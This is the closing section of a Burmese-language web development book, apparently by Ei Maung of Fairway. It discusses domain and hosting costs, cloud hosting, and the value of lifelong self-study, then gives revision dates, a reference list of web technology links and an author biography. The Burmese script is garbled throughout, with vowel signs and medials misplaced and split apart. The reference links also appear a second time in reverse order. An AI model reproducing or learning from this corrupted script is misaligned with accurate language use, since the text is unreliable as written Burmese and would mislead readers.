အခိအကြးိငွိ ပးပပီး ငာှးရေမး်သံုးစွဖဲေို့ လိုပါတယ်။

အငတ်ာနက်ြမာှကြ Domain Name ိရောငး်သူ၊ Hosting ငာှးသူိတကွြ သိပမ်ျားတဲ့အတက်ွြ ိပးရေတဲ့ိ ငနွဲ့ ပပနလ်ည်
ရေရေှိမယ့် ဝန်ိ ဆာငမ်ှုတို့ကုိြိတာ့ အထပထ်ပစိ်စစ်ိရေးွချယ်ဖေို့လိုပါတယ။် ဒီိ နရောမာှ အမညတ်ပပ်ပးီ  Recommend  မ
လပုလ်ိုပါဘးူ။ ဒါိပမယ့် ခန့်မနှ်းလို့ရေိအာင ်လက်ြရေှိဒစီာိရေးသားိနစဉ ်ရေှိိ နတဲ့ အအကြမး်ဖေျဉး်ိဈေးနှုနး်ကုိြ  ထည့်သွငး်
ိဖောပ်ပလိုပါတယ်။ Domain Name မတှပ်ုံတင်ိ အကြးကြ မများပါဘးူ။ တစ်နစ်ှစာအတက်ွြ (၁၂) ိဒါ်လာဝနး်ကြျင် ခန့်
သာရေှိပါတယ်။ ဒထီက်ြိဈေး ပိုကကီြးိနရေင ်စိတမ်ချရေသလို အများကကီြးသက်ြသာိနရေငလ်ညး် စိတမ်ချရေပါဘးူ။ Hosting
မာှ  ဆုိရေင်ိ တာ့  Share  Host  ိတကွြ အိတာ်ိ လး  ိဈေးိပါပါတယ်။  တစ်လ  (၃)  ိဒါ်လာကြိန (၁၀)  ိဒါ်လာ
အတငွး်မာှရေရေှိနိုငပ်ါတယ်။  Dedicated Host  ိတ ွကြိတာ့  ိဈေးကကီြးပါတယ်။ တစ်လကုိြိဒါ်လာ  (၁၀၀)  ိလာက်ြ
ကြိန ိဒါ်လာ (၃၀၀) ိလာက်ြအထ ိရေရေှိမယ့်ဝန်ိ ဆာငမ်ှု ပါ် မတူညပ်ပးီ ကွြာသွားနိုငပ်ါတယ်။

ဒါ့အပပင်  Amazon AWS,  Google  AppEngine,  RackSpace,  AppFog  စတဲ့  Hosting  များက့ဲြသုိ့  Cloud
Hosting ဝန်ိ ဆာငမ်ှု တလွညး် ရေှိပါိသးတယ်။ Cloud Hosting ိတရွေဲ့  ထးူပခားချက်ြကြ၊ လိုအပတ်ဲ့  Capacity ကုိြ
အချနိမ်ိရေးွ တိုးပမငှ့်ယူနိုငပ်ခငး်ပဖေစ်ပါတယ်။ အစပိုင်းမာှ Capacity နညး်နညး်အတက်ွြပဲ ငာှးထားတဲ့အတက်ွြ ိငကုွြန်
သက်ြသာပပးီ  ိနာက်ြပိုငး်  လိုအပလ်ာမှ  Capacity  ကုိြတိုးပမငှ့်ယူနိငုတ်ဲ့အားသာချက်ြများရေှိိ နပါတယ်။  နညး်ပညာ
ကြိတာ့  ိလ့လာသငယူ် စရောိတကွြမဆံုးနိုင်ိ အာငမ်ျားပပားလပှါတယ်။  Cloud  နညး်ပညာများအိအကြာငး်ကုိြိတာ့
စာဖေတသူ်ကုိြယ်တိုင ်ဆက်ြလက်ြ ိလလ့ာသွားသင့်ပါတယ်။
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နဂိုံးချုပ်
နညး်ပညာကြို အမီှလိုကြပ်ခင်း

ဒစီာအုပမ်ာှ Professional Web Developer တစ်ဦးသိရေှိသင့်သမျှ ပပည့်ပပည့်စံုစံုပါဝင်ိ အာင် ကကိြုးစားိဖောပ်ပမယ်လို့
ရေညရ်ေယ်ွတဲ့အတိုငး် ိဖောပ်ပခဲ့ပပးီပါပပ။ီ နညး်ပညာများအိအကြာငး်ိဖောပ်ပတဲ့အခါ အချို ့ကုိြအိသးစိတ်ိ ဖောပ်ပခဲ့ပပးီ အချို ့
ကုိြိတာ့  မတိဆ်က်ြယံုသာ ိဖောပ်ပထားခဲ့ပါတယ်။ လက်ြိတွ့လိုအပမ်ယ့်  အပိုငး်များကုိြ  အိသးစိတ်ိ ဖောပ်ပခဲ့ပခင်းပဖေစ်
ပပးီ၊  လိုအပလ်ာတဲ့အခါမှ  ဆက်ြလက်ြိလလ့ာသွား  လ့ုိရေနိုငတ်ဲ့  နညး်ပညာများကိြုိ တာ့  မတိဆ်က်ြိဖောပ်ပခဲ့ပခငး်ပဖေစ်ပါ
တယ်။ ဒါိအကြာင့် အိသးစိတ်ိ ဖောပ်ပခဲ့တဲ့အိအကြာငး် အရောများကုိြ လက်ြိတွ့  အသံုးချဖေို့လိုသလို ကြျနန်ညး်ပညာများ
ကုိြလညး် အဆက်ြမပပတ် ဆက်ြလက်ြိလလ့ာသွားဖေို့လိုအပပ်ါ တယ်။

အဆက်ြမပပတ်  တုိးတက်ြိပပာငး်လဲိ နတဲ့နညး်ပညာနဲ့  အလပုလ်ပုရ်ေတဲ့  ကြျွန်ိ တာတ်ို့လို  Developer  ိတအွတက်ွြ
Life-Long Learning ိခါ် "စဉဆ်က်ြမပပတ်ိ လလ့ာိနိရေး" နဲ့  Self-study ိခါ် "ကုိြယ့်အားကြိုယ်ကုိြးိလလ့ာနိုင်
စွမး်"  တို့ဟာ  မပဖေစ်မိနလိုအပတ်ဲ့  အရေညအ်ချငး်များပပဲဖေစ်ပါတယ်။  အိပခခံိ ကြျညက်ြပပးီ  အဆက်ြမပပတလ်ညး်
ိလလ့ာိနမယ်၊ ပပးီိတာ့  Self-study  လပုတ်က်ြတဲ့အိလအ့ကြျင့်လညး် ရေှိထားမယ်ဆုိရေင်ိ တာ့ နညး်ပညာိတမွျား
လှိ ပမယ့် အမှီလိုက်ြရေတာ ဒီိ လာက်ြိတာလ့ညး် မခက်ြခလဲပှါဘးူ။ ဒါိအကြာင့်လညး် ဒစီာအုပမ်ာှ တစ်ချို ့ကိြစ္စ တကုိွြ
အိပခခကံြျကြျ  သိဘာတရေား  ပိုငး်ကြိုအသားိပးပပီးိဖောပ်ပခဲ့ပခင်းပဖေစ်ပါတယ်။  ကြျွန်ိ တာတ်ိုိ့ တဟွာ  စာကြျက်ြပပးီ
ပညာသငလ်ာခဲ့အကြရေသူများပဖေစ်တဲ့အတက်ွြ  အလတွက်ြျက်ြမတှမ်တှသ်ားပခငး်ကုိြ  အားသနအ်ကြပါတယ။်  နညး်ပညာကုိြ
အမှီလိုက်ြလိုရေင်ိ တာ့  အလတွမ်တှသ်ားတဲ့  နညး်လမး်ကြ  အလပုပ်ဖေစ်မာှမဟတုပ်ါဘူး။   မတှဉ်ာဏဘ်ယ်ိလာက်ြ
ိကြာငး်ိကြာငး်  အရေှိန်အဟနုန်ဲ့ိ ပပာငး်လဲိ နတဲ့နညး်  ပညာိတကုိွြ  စုပပုံမတှသ်ားိနဖေို့ဆိုတာမပဖေစ်နိုင်  ပါဘးူ။  ဒါ
ိအကြာင့်  သက်ြဆုိငရ်ောနညး်ပညာများရေဲ့  အိပခခသံိဘာများကုိြ  နားလညပ်ိုငန်ိုင်ိ အာင်အထးူကကိြုးစားအကြရေမာှပပဲဖေစ်ပါ
တယ်။  အိပခခသံိဘာကုိြနားလညပ်ပဆုိီရေင၊်  အငတ်ာနက်ြိခတပ်ဖေစ်တဲ့  အတက်ွြ  လိုအပတ်ဲ့အချက်ြအလက်ြများကုိြ
အချနိမ်ိရေးွ ကုိြးကြားရေယူအသံုးပပုသွားနိုငမ်ာှပါ။
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ကြိန့ိ ခတဟ်ာ ဘာနဲ့တလူဆုိဲိတာ၊့ စာအုပ်ယူလာခငွ့်ိ ပးတဲ့စာိမးပွဲခနး်နဲ့တပူါတယ်။ စာိမးပွဲကုိြ စာအုပအ်ကြည့် ပပးီ
ိပဖေခငွ့်  ရေမာှပဖေစ်လို့  ဒီိ လာက်ြိတာလ့ညး်မခက်ြပါဘးူ။  ိမးထားတဲ့ိ မးခနွး်ကြိုနားလညဖ်ေိုန့ဲ့၊  စာအုပထ်ကဲြစာိတကုိွြ
နားလညဖ်ေို့သာ  လုိပါတယ်။  ိမးခနွး်ကြိုလညး်နားမလည၊်  စာအုပထ်ကဲြစာိတကုိွြလညး်နားမလညရ်ေင်ိ တာ့  စာအုပ်
ကကီြးသာရေှိိ နပပးီ ဘယ်စာ မျက်ြနာှလနှရ်ေမနှး်သိမာှမဟတုပ်ါဘူး။ အငတ်ာနက်ြဆုိတဲ့စာအုပ်ကုိြလနှပ်ပးီ ိမးသမျှိမးခနွး်
ကုိြ ိပဖေနိုငတ်ဲ့ိ နဟာ သက်ြဆုိင် ရောပညာရေပမ်ာှ ကြျွမး်ကြျငသူ်ရေယ်လို့လက်ြမိထာငန်ိုင်ိ နပ့ပဲဖေစ်တယ်လို့ ဆုိလိုက်ြချငပ်ါ
တယ်။ ဒါိအကြာင့် နညး်ပညာိလ့လာ တဲ့အခါမာှ နားလည်ိ အာငက်ကိြုးစားပါ၊ အလတွမ်မတှပ်ါနဲလ့ို့ ထပ်ိ ပပာပါရေိစ။ 

အားလုံးပဲ  ကုိြယ်စိတန်စ်ှပဖောကြျနး်မာချမး်သာပပးီ  ိအာငပ်မငတ်ဲ့  Web  Developer  များပဖေစ်အကြပါိစလို့  ဆုိတာငး်
ိမတ္တ ာ ပို့သလိုက်ြပါတယ်ခငဗ်ျာ …

    အိိ မာင် 
( Fairway )

    
   ၀၇-၀၆-၂၀၁၃ ရေကြ်ိ န့တွင ်ပထမအကကြမိ်ိ ရေးသားပပးီစးီသည။်

၀၈-၁၀-၂၀၁၃ ိနတွ့င ်ဒတိုယအကကြမိ ်ပပငဆ်ငတ်ညး်ပဖေတ်ပပးီစးီသည။်
၀၅-၀၅-၂၀၁၅ ရေကြ်ိ နတွ့င် Version 2.1 ပပငဆ်ငတ်ညး်ပဖေတ်ပပးီစးီသည။်

၂၅-၁၂-၂၀၁၅ ရေကြ်ိ နတွ့င် တတိယအကကြမိ ်ပပငဆ်ငတ်ညး်ပဖေတ်ပပးီစးီသည။်
၂၆-၁၀-၂၀၁၆ ရေကြ်ိ နတွ့င် စတုတ္ထ အကကြမိ ်ပပငဆ်ငတ်ညး်ပဖေတ်ပပးီစးီသည။်
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ကြျမး်ကုိြးစာရေငး်

1. http://www.w3.org/wiki/Web_Standards_Curriculum  
2. http://en.wikipedia.org/wiki/Http  
3. https://http2.github.io/faq  ။
4. http://en.wikipedia.org/wiki/List_of_HTTP_status_codes  
5. http://en.wikipedia.org/wiki/Xhtml  
6. http://reference.sitepoint.com/css   
7. http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography  
8. http://developer.mozilla.org/en-US/docs/Web/JavaScript  
9. http://javascript.crockford.com  
10 . http://api.jquery.com  
11 . http://unixpapa.com/js/key.html  
12 . http://en.wikipedia.org/wiki/Php   
13 . http://en.wikipedia.org/wiki/.NET_Framework  
14 . http://en.wikipedia.org/wiki/JavaEE  
15 . http://php.net/quickref.php  
16 . http://en.wikipedia.org/wiki/Mysql  
17. [Book] MySQL Database Usage & Administration by Vikram Vaswani
18 . http://www.php.net/manual/en/ini.list.php  
19 . http://httpd.apache.org/docs/current/mod/quickreference.html  
20 . http://en.wikipedia.org/wiki/Ajax_(programming  )
21 . http://www.adaptivepath.com/ideas/ajax-new-approach-web-Apps  
22 . http://developer.mozilla.org/en/docs/AJAX  
23 . http://codex.wordpress.org/Template_Hierarchy  
24. [Book] The Pragmatic Programmer: From Journeyman to Master by Dave Thomas and Andy Hunt
25 . http://diveintohtml5.info  
26 . http://en.wikipedia.org/wiki/Html5  
27 . http://www.whatwg.org/specs/web-apps/current-work/multipage  
28. [Book] Web API Design by Brian Mulloy
29 . http://twitter.github.io/bootstrap  
30 . http://goldilocksapproach.com  
31 . http://www.owasp.org/index.php/Main_Page  
32 . http://php.net/manual/en/book.pdo.php  
33 . http://fairwayweb.com/open-source-history-license-model  
34 . http://www.quackit.com/web_hosting/tutorial/what_is_web_hosting.cfm  
35 . https://laravel.com/docs/  

https://laravel.com/docs/
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http://php.net/manual/en/book.pdo.php
http://www.owasp.org/index.php/Main_Page
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http://en.wikipedia.org/wiki/Ajax_(programming
http://httpd.apache.org/docs/current/mod/quickreference.html
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http://php.net/quickref.php
http://en.wikipedia.org/wiki/JavaEE
http://en.wikipedia.org/wiki/.NET_Framework
http://en.wikipedia.org/wiki/Php
http://unixpapa.com/js/key.html
http://api.jquery.com/
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http://developer.mozilla.org/en-US/docs/Web/JavaScript
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http://en.wikipedia.org/wiki/Xhtml
http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
https://http2.github.io/faq
http://en.wikipedia.org/wiki/Http
http://www.w3.org/wiki/Web_Standards_Curriculum
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စာိရေးသ၏ူကြိုယ်ိ ရေးအကြျဉ်း

အမညရ်ေငး်  အိိမာင် ပဖေစ်ပပးီ  မိကွြးတိုငး်ိဒသကကီြး  သရေက်ြပမို ့ဇာတပိဖေစ်သည။်  (၂၀၀၀)  ပပည့်နစ်ှတငွ်  သရေက်ြပမို ့
အ.ထ.ကြ  (၁)  မှ  တကြ္ကသုိလဝ်ငတ်နး်စာိမးပွဲိအာငပ်မငပ်ပးီ  (၂၀၀၁)  ခနုစ်ှမစှတငက်ြာ၊ ပညာဆက်ြလက်ြ သငယူ်နိုင်
ရေန်  ရေနကု်ြနပ်မို ့သုိ့  ိပပာငး်ိရေွှ  အိပခချခဲ့သည။်  (၂၀၀၃)  ခနုစ်ှတငွ်  ဒဂုံတကြ္ကသုိလ်  လူ့စွမး်အားအရေင်းအပမစ်ဌာနမှ
ိပးအပသ်ည့်  ကွြနပ်ျူတာနညး်ပညာ ဒပီလိုမာဘွဲ့  (Diploma in  Computer  Studies)  ကုိြ  ရေရေှိခဲ့ပပးီ  ထုိအချနိမ်ှ
စတင၍်  Software  ိရေးသားပခငး် လပုင်နး်များကုိြ တစ်စုိက်ြမတမ်တ် လုပကုိ်ြငလ်ာခဲ့သည။်  (၂၀၀၆)  ခနုစ်ှမှ  စတင်
ကြာ  Web  နညး်ပညာအိပခပပု  Software  များကုိြ စတင်ိ ရေးသားခဲ့ပပးီ ယိန့အချနိထ်ိ  Web Developer  တစ်ဦး
အပဖေစ် ဆက်ြလက်ြလပုကုိ်ြင်ိ နဆဲပဖေစ်ပါသည။်

ကွြနပ်ျူတာနညး်ပညာများကုိြ အိလးထားိလလ့ာိန၍ ဆက်ြလက်ြတက်ြိရောက်ြပခငး် မပပုပဖေစ်ပဲ ရေပတ်န့်ထားခဲ့သည့်
အိဝးသငတ်ကြ္ကသိလု်  (ဥပိဒပညာအထးူပပု)  ကုိြ  (၂၀၀၉) ခနုစ်ှတငွ် ပပနလ်ည် တက်ြိရောက်ြခဲ့ပပးီ  (၂၀၁၃) ခနုစ်ှတငွ်
ိအာငပ်မင၍် ဥပိဒပညာဘွဲ့  (LL.B) ကုိြရေရေှိခဲ့သည။်
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(၂၀၀၉)  ခနုစ်ှတငွ်  Durosoft  အမညပ်ဖေင့်  Web Development  လပုင်နး်တစ်ခကုိုြ  ဦးိဆာငတ်ည်ိ ထာငခ်ဲ့သည။်
ပပညတ်ငွး်ပပညပ်မှ အပန်ှံ့အကြသည့် Outsource Project များကုိြ အဓိကြထား ိဆာငရ်ေက်ွြခဲ့သည။် ထ့ုိိနာက်ြ (၂၀၁၁)
ခနုစ်ှတငွ်  Outsource Project  များ ိဆာငရ်ေက်ွြိနရောမှ မမိတိို့ကုိြယ်ပိုင်  Software Product  များကုိြသာ ိရေးသား
ိတာမ့ည် ဟသူည့် ရေညရ်ေယ်ွချက်ြပဖေင့် Durosoft အား Fairway Web ဟ၍ူ အမည်ိ ပပာငး်ကြာ ဆက်ြလက်ြ လပုကုိ်ြင်
ခဲ့သည။်  (၂၀၁၄)  ခနုစ်ှတငွ်  Fairway  Web  အား  TrustLink  ိခါ် နညး်ပညာကုြမ္ပဏတီစ်ခနုငှ့်  ိပါငး်စပခ်ဲ့ပပီး
(၂၀၁၆) ခနုစ်ှတငွ် ပပညလ်ညခ်ွဲထက်ွြကြာ၊ ယခအုခါ Fairway Technology ဟသူည့်အမညပ်ဖေင့်  Web နငှ့် Mobile
အိပခပပု Software များ ိရေးသားပခင်း၊ နညး်ပညာဝန်ိ ဆာငမ်ှု ပးပခငး်နငှ့် သငတ်နး်များ ပို့ချပခငး်တို့ကုိြ ိဆာငရ်ေက်ွြ
လျှက်ြ ရေှိပါသည။် ဤစာိရေးသားိနစဉတ်ငွ်  Fairway Technology ၏ Managing Partner အပဖေစ် တာဝနထ်မး်
ိဆာငလ်ျှက်ြရေှိပါသည။်

(၂၀၁၃)  ခနုစ်ှဇွနလ်တငွ်  Professional  Web Developer ဟသူည့်အမညပ်ဖေင့်  ဤစာအုပ၏် ပထမဆံုးအကကိြမကုိ်ြ
ိရေးသားပပုစု  ပဖေန့်ချနီိုငခ်ဲ့သည။်  (၂၀၁၄)  ခနုစ်ှဇွနလ်တငွ်  Ubuntu  -  သင့်အတက်ွြ  Linux ဟသူည့်အမညပ်ဖေင့်
Ubuntu  Linux  Operating  System  အိအကြာငး်စာအုပကုိ်ြ  ိရေးသားပပုစု  ပဖေန့်ချနီိုငခ်ဲ့ပပီး၊  (၂၀၁၅)  ခနုစ်ှ
စက်ြတငဘ်ာလ (၁၅) ရေက်ြိနတ့ငွ် Rockstar Developer အမညပ်ဖေင့် Web Service နငှ့်  Project Management
အပါအဝင် အဆင့်ပမင့်နညး်ပညာများအိအကြာငး်ကြို ိဖောပ်ပထားသည့် စာအုပကိ်ြ ုိရေးသားပပုစု ပဖေန့်ချနီိုငခ်ဲ့သည။်

(၂၀၁၀) ခနုစ်ှမှ စတငက်ြာ Web Development ဆုိငရ်ော သငတ်နး်များကုိြ ပို့ချခဲ့ပပးီ ယခုအခါ Fairway School of
Technology  ၏ ိကြျာငး်အပုက်ကီြးအပဖေစ်  Web  နငှ့်  Mobile  နညး်ပညာဆုိငရ်ော သငတ်နး်များကုိြ ဦးိဆာငပ်ို့ချိန
ပါသည။် 

ယခုအခါ ဇနးီပဖေစ်သူ နငှး်ိဝလငွ၊် သမးီပဖေစ်သူ စုရေတနာိမာင် တို့နငှ့်အတူ ရေနကု်ြနပ်မို ့တငွ် အိပခချိနထိုငလ်ျှက်ြ ရေှိ
ပါသည။် စာိရေးသူအား ဆက်ြသွယလ်ိုပါကြ eimg@fairwayweb.com အီးိမးလလ်ပိစ်ာသုိ့ လည်ိ ကြာငး်၊ စာိရေး
သူ၏ Website  ပဖေစ်ိသာ eimaung.com တငွ် ိဖောပ်ပထားသည့် ဖေနုး်နပံါတ၊် ိနရေပလ်ပိစ်ာ စသည့်အချက်ြအလက်ြ
များအတိုငး်လည်ိ ကြာငး် ဆက်ြသွယ်နိုငပ်ါသည။်

http://eimaung.com/
mailto:eimg@fairwayweb.com
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